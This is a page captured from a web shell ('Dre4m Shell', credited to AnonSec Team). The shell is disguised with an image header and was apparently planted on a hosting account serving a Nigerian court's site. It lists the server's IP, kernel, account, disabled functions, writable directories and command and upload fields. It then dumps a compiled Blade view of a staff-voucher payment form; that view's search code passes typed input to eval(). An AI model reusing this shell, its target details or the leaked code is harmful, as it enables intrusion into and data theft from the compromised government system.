ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.147.242.145
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/fd5fc37713ac631f9a0b57d8242f5f28ee211fb7.php
<?php $__env->startSection('pageTitle'); ?>
	<?php echo e(strtoupper(' Create Batch Staff Voucher')); ?>

<?php $__env->stopSection(); ?>
<?php $__env->startSection('content'); ?>

<div>
	<div class="box-body hidden-print">
		<div class="row">
			<div class="col-sm-12">
				<?php if(count($errors) > 0): ?>
				<div class="alert alert-danger alert-dismissible" role="alert">
					<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
					</button>
					<strong>Error!</strong> 
					<?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
					<p><?php echo e($error); ?></p>
					<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
				</div>
				<?php endif; ?>

				<?php if(session('msg')): ?>
				<div class="alert alert-success alert-dismissible" role="alert">
					<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
					</button>
					<strong>Success!</strong> 
					<?php echo e(session('msg')); ?>

				</div>                        
				<?php endif; ?>

				<?php if(session('err')): ?>
				<div class="alert alert-warning alert-dismissible" role="alert">
					<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
					</button>
					<strong>Input Error !</strong> 
					<?php echo e(session('err')); ?>

				</div>                        
				<?php endif; ?>
			</div>
		</div><!-- /row -->
	</div><!-- /div -->

    <div class="box-body" style="background: #FFF;">
		<div align="center">
		    <?php echo $__env->make('layouts.allReportHeader', ['companyName'=>'defaultName', 'companyAddress'=>'defaultAddress', 'title1'=>'CREATE STAFF VOUCHER', 'title2'=>date('d-l, F, Y'), 'showOnlyTitle1'=>1, 'showOnlyTitle2'=>1, 'hideLogos'=>1, 'hideAddress'=>0], \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
		</div>
	

		<div class="box-body">
				<div align="right" class="col-sm-4 pull-right hidden-print" style="float: right; margin-top: -8px;">
					<select name="economicCode2" id="economicCode2" class="form-control" style="border: none;" required>
					    <option value="" selected="selected">........................</option>
					    <?php $__currentLoopData = $subdescriptions; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $subCode): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
						<option  value="<?php echo e($subCode->economicID); ?>" <?php echo e((old("economicCode") == $subCode->economicID ? "selected":"")); ?>> 
							<?php echo e($subCode->economicCode . ' - '.$subCode->description); ?>

						</option>
					    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> 
					</select>
				</div>
				<div style="float: right;"><b>ECONOMIC CODE:</b></div>
				
				<br /><br />
				
		</div>

		<div align="center">
			<h3><b style="text-decoration: underline;">OVERHEAD JOURNAL</b></h3>
		</div>
		<div align="left" class="col-md-2" >  
			<a href="<?php echo e(url('/voucher/check')); ?>" class="btn btn-info btn-sm"><i class="fa fa-arrow-left"></i>  Go back to all Vouchers</a>
		</div>
		
		

		<div class="row">
			<div class="col-md-12">
				<!--UPDATE PARAMETERS FORM-->
			<form id="updateParameterForm" method="post" action="<?php echo e(route('postParametersBatchStaff')); ?>">
			<?php echo e(csrf_field()); ?>

				<table class="table table-striped table-condensed table-bordered text-center">
					<thead style="background: #fdfdfd;">
					 	<tr class="input-lg">
	  						<th colspan="3">SETTING PARAMETERS</th>
	  					</tr>
						<tr class="input-lg">
				        	<th width="100" rowspan="2" class="text-center">GRADE LEVEL</th>
				        	<th width="600" rowspan="2" class="text-center">NUMBER OF STAFF AND RATE &#8358; </th><!--BENEFICIARY-->
				        	<th width="200" class="text-center">AMOUNT &#8358;</th>
				        </tr>
			        </thead>
			        <tbody>
				        <tr class="input-lg">
	  						<th>03 - 06</th>
	  						<th>
	  							<div class="row">
	  							   <div class="col-sm-5"> <?php echo e($level3to6); ?> Staff &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; X </div>
		  							 <div class="col-sm-7">
		  							 	<input type="text" name="levelThreeToSixRate" id="levelThreeToSixRate" class="form-control" value="<?php echo e($rate6->rate); ?>">
		  							 </div>
	  							</div>
	  						</th>
	  						<th>
	  							<div class="col-sm-12">
	  								<input type="text" name="amountForLevelThreeToSix" id="amountForLevelThreeToSix" class="form-control" value="<?php echo e($level3to6 * ($rate6->rate)); ?>" readonly>
	  							</div>
	  						</th>
				        </tr>
				        <tr class="input-lg">
	  						<th>07 - 10</th>
	  						<th> 
	  							<div class="row">
	  							   <div class="col-sm-5"> <?php echo e($level7to11); ?> Staff &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; X </div>
		  							 <div class="col-sm-7">
		  							 	<input type="text" name="levelSevenToElevenRate" id="levelSevenToElevenRate" class="form-control" value="<?php echo e($rate11->rate); ?>">
		  							 </div>
	  							</div>
	  						</th>
	  						<th>
	  							<div class="col-sm-12">
	  								<input type="text" name="amountForlevelSevenToEleven" id="amountForlevelSevenToEleven" class="form-control" value="<?php echo e($level7to11 * ($rate11->rate)); ?>" readonly>
	  							</div>
	  						</th>
				        </tr>
				        <tr class="input-lg">
	  						<th>12 - 14</th>
	  						<th> 
	  							<div class="row">
	  							   <div class="col-sm-5"> <?php echo e($level12to14); ?> Staff &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; X  </div>
		  							 <div class="col-sm-7">
		  							 	<input type="text" name="levelTwelveToFourteenRate" id="levelTwelveToFourteenRate" class="form-control" value="<?php echo e($rate14->rate); ?>">
		  							 </div>
	  							</div>
	  						</th>
	  						<th>
	  							<div class="col-sm-12">
	  								<input type="text" name="amountForlevelTwelveToFourteen" id="amountForlevelTwelveToFourteen" class="form-control" value="<?php echo e($level12to14 * ($rate14->rate)); ?>" readonly>
	  							</div>
	  						</th>
				        </tr>
				        <tr class="input-lg">
	  						<th>15</th>
	  						<th>
	  							<div class="row">
	  							   <div class="col-sm-5">  <?php echo e($level15); ?> Staff &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; X </div>
		  							 <div class="col-sm-7">
		  							 	<input type="text" name="levelFifteenRate" id="levelFifteenRate" class="form-control" value="<?php echo e($rate15->rate); ?>">
		  							 </div>
	  							</div>
	  						</th>
	  						<th>
	  							<div class="col-sm-12">
	  								<input type="text" name="amountForlevelFifteen" id="amountForlevelFifteen" class="form-control" value="<?php echo e($level15 * ($rate15->rate)); ?>" readonly>
	  							</div>
	  						</th>
				        </tr>
				        <tr class="input-lg">
	  						<th>16</th>
	  						<th>
	  							<div class="row">
	  							   <div class="col-sm-5">  <?php echo e($level16); ?> Staff &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; X </div>
		  							 <div class="col-sm-7">
		  							 	<input type="text" name="levelSixteenRate" id="levelSixteenRate" class="form-control" value="<?php echo e($rate16->rate); ?>">
		  							 </div>
	  							</div>
	  						</th>
	  						<th>
	  							<div class="col-sm-12">
	  								<input type="text" name="amountForlevelSixteenRate" id="amountForlevelSixteenRate" class="form-control" value="<?php echo e($level16 * ($rate16->rate)); ?>" readonly>
	  							</div>
	  						</th>
				        </tr>
				        <tr class="input-lg">
	  						<th>17 </th>
	  						<th>
	  							<div class="row">
	  							   <div class="col-sm-5">  <?php echo e($level17); ?> Staff &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; X </div>
		  							 <div class="col-sm-7">
		  							 	<input type="text" name="levelSeventeenRate" id="levelSeventeenRate" class="form-control" value="<?php echo e($rate17->rate); ?>">
		  							 </div>
	  							</div>
	  						</th>
	  						<th>
	  							<div class="col-sm-12">
	  								<input type="text" name="amountForlevelSeventeen" id="amountForlevelSeventeen" class="form-control" value="<?php echo e($level17 * ($rate17->rate)); ?>" readonly>
	  							</div>
	  						</th>
				        </tr>
				        <?php if(Session::get('getJudgesOnly') == "CONSOLIDATED"): ?>
				        <tr class="input-lg">
	  						<th>Judges</th>
	  						<th>
	  							<div class="row">
	  							   <div class="col-sm-5"> <?php if($getAllStaff): ?> <?php echo e(count($getAllStaff)); ?> <?php endif; ?> Judges &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </div>
		  							 <div class="col-sm-7">
		  							 	<input type="text" name="amountForJudges" id="amountForJudges" class="form-control" value="<?php echo e(old('amountForJudges')); ?>" placeholder="Enter Amount for each Judge">
		  							 	<input type="hidden" id="totalJudges" value="<?php echo e(count($getAllStaff)); ?>">
		  							 </div>
	  							</div>
	  						</th>
	  						<th>
	  							<div class="col-sm-12">
	  								<input type="text" name="judgesTotalSumation" id="judgesTotalSumation" class="form-control" readonly>
	  							</div>
	  						</th>
				        </tr>
				        <?php endif; ?>
			        </tbody>
				</table>
				<?php if(Session::get('getJudgesOnly') != "CONSOLIDATED"): ?>
				<div align="center">
					<button type="button" class="btn btn-primary" id="updateParameterButton">
						<i class="fa fa-save"> Update Parameters</i>
					</button>
				</div>
				<?php endif; ?>
			</form>

			<hr />


		<form method="post" action="<?php echo e(route('processBatchSatffVoucher')); ?>">
		<?php echo e(csrf_field()); ?>

			<table class="table table-condensed">
				<thead style="background: #fff;">
					<tr> 
						<td colspan="4">
							<?php echo $__env->make('nicnModuleViews.layouts.commonFields', ['textTitle'=>'Claim Description', 'dateCaption'=>'Claim Date'], \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
						</td>
					</tr>
					
					
					<tr>
					    <td colspan="4">&nbsp;</td>
					</tr>
					
					
					<tr style="background:#dfdfdf;">
					    <td colspan="2" align="center"><h4 class="text-uppercase">Select the division for your batch voucher:</h4></td>
					    <td colspan="2">
						    <div align="left">
            					<select name="division" id="batchDivision" class="form-control" style="border: display;" required>
            					    <option value="" selected="selected">Select Division For Batch</option>
            					    <?php $__currentLoopData = $getDivision; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $division): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
            						<option  value="<?php echo e($division->divisionID); ?>" <?php echo e((old("division") == $division->divisionID ? "selected":"")); ?>> 
            							<?php echo e($division->division); ?>

            						</option>
            					    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
            					</select>
            				</div>
						</td>
					</tr>
					
					<tr>
					    <td colspan="4">&nbsp;</td>
					</tr>
					
					<tr>
						<td valign="top" width="100"><h4>Payee:</h4></td>
						<td><input type="text" Placeholder="Payee's Name" name="payee" id="payee" class="form-control" value="<?php echo e(old('payee')); ?>" ></td>
						<td valign="top" width="100"><h4>Address:</h4></td>
						<td>
    					
    						<input type="text" Placeholder="Payee's Address" name="address" id="address" class="form-control" value="<?php echo e(old('address')); ?>">
    							
						</td>
					</tr>
					
					<tr class="input-lg">
				        <td valign="top" width="100"><h4>Narration:</h4></td>
				        <th colspan="3">
				        	<textarea name="narration" id="narration" Placeholder="Payment Description" class="form-control hidden-print" 
				        	style="border:1px thin #f9f9f9; height: 100px; text-align:left; font-size: 100;" required><?php echo e(old('narration')); ?></textarea>
				        </th>
				    </tr>
				    <tr>
				    	<td valign="top" width="100"><h4>File No. / Refers:</h4></td>
				    	<td>
				    		<span class="hidden-print">
		  						<input type="text" name="fileRefer" value="<?php echo e(old('fileRefer')); ?>" Placeholder="Double click to select" list="fileRefer" class="form-control hidden-print" required/>
								<datalist id="fileRefer">
								  <option value="" selected="selected">Select Refer No.</option>
									<?php $__currentLoopData = $fileRefer; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $referNo): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
										<option value="<?php echo e($referNo->filerefer); ?>"><?php echo e($referNo->officegroup.' - '.$referNo->office.' - '.$referNo->filerefer); ?></option>
									<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
								</datalist>
							</span> 
				    	</td>
				    	<td valign="center" width="100"><h4>Date: </h4></td>
				        <td><span class="hidden-print">
				        	<input type="text" name="todayDate" value="<?php echo e(old('todayDate')); ?>" id="todayDate" class="form-control col-lg-4" readonly required placeholder="Select Date">
				        </span></td>
				    </tr>
				    
				     
			    </thead>
			</table>
			<div align="center" class="hidden-print">
			    <input type="hidden" name="economicCode" id="economicCode" value="<?php echo e(old('economicCode')); ?>">
				<button type="submit" class="btn btn-success"> Save Parameters &amp; Generate Voucher <i class="fa fa-book"></i> </button>
			</div>
		</form>

		</div>
		</div><!-- /.col -->
		</div><!-- /.row -->

</div>

<!--CHANGE DIVISION-->
<form id="changeDivision" method="post" action="<?php echo e(route('changeStaffDivisionRecurrent')); ?>">
	<?php echo e(csrf_field()); ?>

	<input type="hidden" name="divisionName" id="divisionName">  <!--fileNo-->
</form>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('styles'); ?>
<link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>">
<?php $__env->stopSection(); ?>

<?php $__env->startSection('scripts'); ?>
<script src="<?php echo e(asset('assets/js/jquery.autocomplete.min.js')); ?>" ></script>
<script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>
<script type="text/javascript">
    
    $(document).ready(function () {
        $('#batchDivision').change(function(){
            var divisionID = $('#batchDivision').val();  
            var economicCodeID = $('#economicCode2').val();  
            if(divisionID){
		  		$.ajax({
					url: murl + '/recurrent/get-payee-name-and-naration-JSON',
					type: "post",
					data: {'divisionID': divisionID, 'economicCodeID': economicCodeID, '_token': $('input[name=_token]').val()},
					success: function(data){
					   $('#payee').val('');
					   $('#address').val('');
					   $('#narration').val('');
					   if(data){
					       $('#payee').val(data.payeeName);
					       $('#address').val(data.address);
					       $('#narration').val(data.description);
					   }else{
					       alert('Sorry, we are having issue getting your payee and narration. Please check you network and try again.');
					   }
					}
				})
	  		}else{
	  		    alert('Sorry, we are having problem getting the division details! Refresh and try again.')
	  		}
        });
    });
    
    
	//Judges OnType Events
	$(document).ready(function () {
		$('#amountForJudges').on('keyup', function() {
			$('#judgesTotalSumation').val(0);
			$('#amountForEachJudges').val(0);
			var totalJudges   = $('#totalJudges').val();
			var amountEntered = $('#amountForJudges').val();
			$('#amountForEachJudges').val(amountEntered);
			//Reset
			if(amountEntered == "")
			{
				$('#judgesTotalSumation').val(0);
			}
			//Check for real value
			if((totalJudges >= 0) && (amountEntered >= 0))
			{
				totalSumation = parseFloat(totalJudges * amountEntered).toFixed(2);
		 	}
		 	//Confirm computation and print result
	     	if (totalSumation > 0) {
	          // result
	          $('#judgesTotalSumation').val(totalSumation);
	          //$('#amountForEachJudges').val(totalSumation);
	     	}else{
	     		$('#judgesTotalSumation').val(0);
	     		//$('#amountForEachJudges').val(0);
	     	}
		});
	});
	//end Judges OnType Events


  	//SELECT/DESELECT ALL CHECKBOX
	$(document).ready(function () {
        $('#globalCheckbox').click(function(){
            if($(this).prop("checked")) {
                $(".checkBox").prop("checked", true);
            } else {
                $(".checkBox").prop("checked", false);
            }                
        });
    });

  ///////////////////////DATE///////////////////////////////// 
	$( function(){
	    $("#todayDate").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); 
	    $("#awardDate").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); 
	  });
	///////////////////////DATE/////////////////

  	//submit change division form
  	$('#filterDivision').change( function() 
	{
		$('#divisionName').val($('#filterDivision').val());
		$('#changeDivision').submit();
	});

	//submit update parameters form
  	$('#updateParameterButton').click( function() 
	{
		$('#updateParameterForm').submit();
	});

	//submit selected staff form
  	$('#saveSelectFormButton').click( function() 
	{
		$('#saveSelectForm').submit();
	});

	//get economicCode2 from select
  	$('#economicCode2').change( function() 
	{
		$('#economicCode').val($('#economicCode2').val());
	});


	$('#netAmount').on("input keyup blur", function (event) //"input", function() 
	{
		// prevent special characters and letter
     	$(this).val($(this).val().replace(/[^0-9\.]/g,''));
        if ((event.which != 46 || $(this).val().indexOf('.') != -1) && (event.which < 48 || event.which > 57)) {
            //$("#errmsg").html("Digits Only").show().fadeOut("slow");
            event.preventDefault();
        }
	});

  </script>

  <!--Search Table-->
  <script language="javascript" type="text/javascript">
	///search table user's table
      jQuery.expr[":"].containsNoCase = function(el, i, m) {
               var search = m[3];
               if (!search) return false;
              return eval("/" + search + "/i").test($(el).text());
          };
          jQuery(document).ready(function() {
               // used for the first example in the blog post
               jQuery('li:contains(\'DotNetNuke\')').css('color', '#0000ff').css('font-weight', 'bold');
              // hide the cancel search image
               jQuery('#imgSearch').hide();
              // reset the search when the cancel image is clicked
               jQuery('#imgSearch').click(function() {
                   resetSearch();
               });
               // cancel the search if the user presses the ESC key
               jQuery('#txtSearch').keyup(function(event) {
                   if (event.keyCode == 27) {
                       resetSearch();
                  }
              });
              // execute the search
               jQuery('#txtSearch').keyup(function() {
                   // only search when there are 3 or more characters in the textbox
                   if (jQuery('#txtSearch').val().length > 2) {
                       // hide all rows
                      jQuery('#tblSearch tr').hide();
                       // show the header row
                       jQuery('#tblSearch tr:first').show();
                       // show the matching rows (using the containsNoCase from Rick Strahl)
                       jQuery('#tblSearch tr td:containsNoCase(\'' + jQuery('#txtSearch').val() + '\')').parent().show();
                      // show the cancel search image
                       jQuery('#imgSearch').show();
                   }
                   else if (jQuery('#txtSearch').val().length == 0) {
                       // if the user removed all of the text, reset the search
                       resetSearch();
                   }
                   // if there were no matching rows, tell the user
                  if (jQuery('#tblSearch tr:visible').length == 1) {
                       // remove the norecords row if it already exists
                       jQuery('.norecords').remove();
                      // add the norecords row
                    jQuery('#tblSearch').append('<tr class="norecords"><td colspan="5" class="Normal">No records were found</td></tr>');
                  }
              });
          });
          function resetSearch() {
              // clear the textbox
              jQuery('#txtSearch').val('');
              // show all table rows
              jQuery('#tblSearch tr').show();
             // remove any no records rows
             jQuery('.norecords').remove();
              // remove the cancel search image
              jQuery('#imgSearch').hide();
              // make sure we re-focus on the textbox for usability
              jQuery('#txtSearch').focus();
         }
      ///end table search
  </script>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\xampp\htdocs\nicngrp\resources\views/nicnModuleViews/capitalRecurrent/staffBatchVoucher.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team